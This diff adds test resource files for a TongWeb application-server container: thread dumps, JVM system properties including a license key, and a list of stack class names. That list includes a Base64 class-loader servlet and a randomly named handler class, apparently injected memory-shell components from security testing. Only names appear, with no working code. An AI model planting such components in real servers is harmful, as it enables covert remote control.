+"Signal Dispatcher" #4 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+
+"http-nio2-8080-exec-1" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"pool-2-thread-1" #140 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4c22a282
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-6" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-5" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-Acceptor-0" #117 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:472)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-7" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-1" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-7" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-2" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-1" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-ClientPoller-0" #115 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:815)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-8" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI RenewClean-[172.17.0.4:7200]" #95 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@5b4f359a
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-8" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+
+===========================================
+
+StackClassNames:
+Base64ClassLoaderServlet
+EmptyFilter
+ServletNameTestFilter
+UrlMappingTestFilter
+com.tongweb.catalina.authenticator.AuthenticatorBase
+com.tongweb.catalina.connector.CoyoteWriter
+com.tongweb.catalina.connector.ThanosCoyoteAdaptor
+com.tongweb.catalina.core.ApplicationFilterChain
+com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor
+com.tongweb.catalina.core.StandardContextValve
+com.tongweb.catalina.core.StandardEngineValve
+com.tongweb.catalina.core.StandardHostValve
+com.tongweb.catalina.core.StandardServer
+com.tongweb.catalina.core.StandardWrapperValve
+com.tongweb.catalina.core.ThanosStandardContextValve
+com.tongweb.catalina.core.ThanosStandardEngineValve
+com.tongweb.catalina.realm.RealmValve
+com.tongweb.catalina.startup.Bootstrap
+com.tongweb.catalina.startup.Catalina
+com.tongweb.catalina.startup.ThanosCatalina
+com.tongweb.catalina.valves.ErrorReportValve
+com.tongweb.config.ConfigTool
+com.tongweb.coyote.AbstractProcessorLight
+com.tongweb.coyote.AbstractProtocol$AsyncTimeout
+com.tongweb.coyote.AbstractProtocol$ConnectionHandler
+com.tongweb.coyote.http11.Http11Processor
+com.tongweb.coyote.http11.ThanosHttp11Processor
+com.tongweb.deploy.TongWebDeployer
+com.tongweb.deploy.autodeploy.TongWebAutoDeployTask
+com.tongweb.deploy.autodeploy.TongWebAutoDeployer
+com.tongweb.deploy.commands.DeployCommand
+com.tongweb.deploy.util.DeployConfigUtil
+com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer
+com.tongweb.tomee.catalina.OpenEJBValve
+com.tongweb.web.util.net.AbstractEndpoint
+com.tongweb.web.util.net.Nio2Endpoint$Acceptor
+com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4
+com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor
+com.tongweb.web.util.net.NioBlockingSelector$BlockPoller
+com.tongweb.web.util.net.NioEndpoint$Acceptor
+com.tongweb.web.util.net.NioEndpoint$Poller
+com.tongweb.web.util.net.SocketProcessorBase
+com.tongweb.web.util.threads.TWThreadPoolExecutor
+com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker
+com.tongweb.web.util.threads.TaskQueue
+com.tongweb.web.util.threads.TaskThread$WrappingRunnable
+com.tongweb.web.websocket.server.WsFilter
+org.apache.commons.lang.URdhB.ErrorTksljHandler
diff --git a/integration-test/src/test/resources/infos/TongWeb7049m4ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb7049m4ContainerTestBasicInfo.txt
new file mode 100644
index 00000000..8cf27f22
--- /dev/null
+++ b/integration-test/src/test/resources/infos/TongWeb7049m4ContainerTestBasicInfo.txt
@@ -0,0 +1,1153 @@
+# Generated At 2026-05-24 11:01:50
+SystemProps:
+server.tongweb.license.type: file
+java.vendor: Temurin
+tongweb.restart.interval: 1
+pid_file_path: /opt/tweb7/tongweb.pid
+sun.java.launcher: SUN_STANDARD
+sun.management.compiler: HotSpot 64-Bit Tiered Compilers
+catalina.useNaming: true
+os.name: Linux
+xss_defense: true
+openejb.provider.default: com.tongweb.tomee
+sun.boot.class.path: /opt/tweb7/lib/endorsed/corba-orb.jar:/opt/tweb7/lib/endorsed/annotation-api.jar:/opt/tweb7/lib/endorsed/corba-omgapi.jar:/opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes
+javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory
+disableResourceCache: true
+checkNonXADB: true
+java.vm.specification.vendor: Oracle Corporation
+server.tongweb.license.tongWebEdition: tw7#isGF:false,console:true,agent:true,asdp:false,iSBindMac:false
+java.runtime.version: 1.8.0_482-b08
+enable_query_cache: false
+user.name: root
+openejb.deployments.classpath.filter.systemapps: false
+shared.loader: ${tongweb.home}/lib/common,${tongweb.home}/lib/common/*.jar,${tongweb.home}/lib/classes/,${tongweb.base}/lib/common,${tongweb.base}/lib/common/*.jar,${tongweb.base}/lib/classes/
+openejb.loader: webtier-system
+genSessionCookieNameForContext: console
+tongweb.home: /opt/tweb7
+java.naming.factory.initial: com.tongweb.naming.java.javaURLContextFactory
+user.language: en
+server.tongweb.license.filePath: /opt/tweb7/license.dat
+derby.system.home: /opt/tweb7/bin
+ibm.stream.nio: true
+sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64
+openejb.deployments.classpath: false
+resLowversionLoad: false
+tongweb.java: /opt/java/openjdk
+java.version: 1.8.0_482
+java.util.logging.manager: com.tongweb.log.TongwebLogManager
+user.timezone: Etc/UTC
+java.net.preferIPv4Stack: false
+tongweb.X_Frame_Options: SAMEORIGIN
+sun.arch.data.model: 64
+tongweb.util.buf.StringCache.byte.enabled: true
+LoadClassCache.Disabled: true
+tongweb.upload: /opt/tweb7/temp/upload
+java.endorsed.dirs: /opt/tweb7/lib/endorsed
+sun.cpu.isalist:
+sun.jnu.encoding: UTF-8
+file.encoding.pkg: sun.io
+package.access: sun.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.web.
+file.separator: /
+java.specification.name: Java Platform API Specification
+java.class.version: 52.0
+tongweb.util.scan.StandardJarScanFilter.jarsToSkip: bootstrap.jar,commons-daemon.jar,annotations-api.jar,el-api.jar,jsp-api.jar,servlet-api.jar,websocket-api.jar,jaspic-api.jar,catalina.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,jasper.jar,jasper-el.jar,ecj-*.jar,catalina-jmx-remote.jar,catalina-ws.jar,tools.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,jstl.jar,taglibs-standard-spec-*.jar,geronimo-spec-jaxrpc*.jar,wsdl4j*.jar,ant.jar,ant-junit*.jar,aspectj*.jar,jmx.jar,h2*.jar,hibernate*.jar,httpclient*.jar,jmx-tools.jar,jta*.jar,log4j*.jar,mail*.jar,slf4j*.jar,xercesImpl.jar,xmlParserAPIs.jar,xml-apis.jar,junit.jar,junit-*.jar,hamcrest-*.jar,easymock-*.jar,cglib-*.jar,objenesis-*.jar,ant-launcher.jar,oraclepki.jar,cobertura-*.jar,asm-*.jar,dom4j-*.jar,icu4j-*.jar,jaxen-*.jar,jdom-*.jar,jetty-*.jar,oro-*.jar,servlet-api-*.jar,tagsoup-*.jar,xmlParserAPIs-*.jar,xom-*.jar
+tomee.remote.support: false
+user.country: US
+java.home: /opt/java/openjdk/jre
+java.vm.info: mixed mode
+os.version: 6.8.0-111-generic
+com.tongweb.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
+openejb.embedder.source: ThanosServerListener
+tongweb.sysapp: /opt/tweb7/applications
+compatibleWithWas: false
+path.separator: :
+TONGTECH_BC_JAR_PATH: /opt/tweb7/lib/bc/bcprov.jar
+java.vm.version: 25.482-b08
+bval.in-container: true
+com.tongweb.webbeans.logger.WebBeansLoggerFacade: com.tongweb.tongejb.cdi.logging.ContainerJULLoggerFactory
+java.awt.printerjob: sun.print.PSPrinterJob
+authconfigprovider.factory: false
+java.security.policy: /opt/tweb7/conf/tongweb.policy
+sun.io.unicode.encoding: UnicodeLittle
+java.specification.maintenance.version: 6
+awt.toolkit: sun.awt.X11.XToolkit
+tongweb.base: /opt/tweb7
+package.definition: sun.,java.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.naming.,com.tongweb.web.
+tongweb.app: /opt/tweb7/deployment
+java.naming.factory.url.pkgs: com.tongweb.naming:com.tongweb.tongejb.core.ivm.naming
+openejb.home: /opt/tweb7
+java.security.egd: file:/dev/./urandom
+user.home: /root
+disableVerCode: true
+java.specification.vendor: Oracle Corporation
+WebserviceCXF.OFF: true
+jvProfile: true
+java.library.path: :/opt/tweb7/native/linux/x64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
+java.vendor.url: https://adoptium.net/
+tongweb.rmijmx.cbport: 7200
+java.vm.vendor: Temurin
+common.loader: "${tongweb.home}/patch/sys_manifest_classpath/*.jar","${tongweb.home}/lib","${tongweb.home}/lib/*.jar"
+java.runtime.name: OpenJDK Runtime Environment
+sun.java.command: com.tongweb.web.thor.startup.ThorBootstrap start
+WebModuleOnly: false
+java.class.path: /opt/java/openjdk/lib/tools.jar:/opt/tweb7/lib/bootstrap.jar:/opt/tweb7/lib/jdk-api.jar:/opt/tweb7/lib/license-client.jar:/opt/tweb7/lib/ejb-agent.jar
+com.tongweb.agent.com.AgentUtil.AgentCaller.class: com.tongweb.heimdall.common.master.util.AgentCallerImpl
+server.tongweb.license.productKey: 7JkITCuSsJ3j5VX2j33Mcb8l7sTCmWcsN6qfI7QiaumezEWIonfngJVX6yRjEK3UbRVZCwbjkmi4V4ShVOPeeOQOgILACnld3GXYgDI5Au4=
+com.tongweb.commons.logging.Log: com.tongweb.commons.logging.impl.Jdk14Logger
+java.vm.specification.name: Java Virtual Machine Specification
+java.vm.specification.version: 1.8
+sun.cpu.endian: little
+sun.os.patch.level: unknown
+java.awt.headless: true
+java.io.tmpdir: /opt/tweb7/temp
+xss_apps: console,heimdall
+java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
+server.loader:
+cdi.passivate: false
+java.rmi.server.hostname: 172.17.0.4
+os.arch: amd64
+java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
+java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext
+tongweb.jndi.lookup.relaxVersion: false
+user.dir: /opt/tweb7/bin
+ShutdownSocketDisabled: false
+tongweb.poseidon.master.home: /opt/tweb7/applications/heimdall/
+useBeanManagerInCompJNDI: false
+line.separator:
+
+java.vm.name: OpenJDK 64-Bit Server VM
+com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider
+openejb.base: /opt/tweb7
+startup.secure: false
+file.encoding: UTF-8
+persistenceLogSavePath: persistence
+tongweb.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
+noBanner: true
+java.specification.version: 1.8
+master.path: /opt/tweb7
+
+===========================================
+
+ThreadStacks:
+"http-nio-5100-exec-6" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-4" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-6" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-4" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-4" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Accept-7200" #96 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-9" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
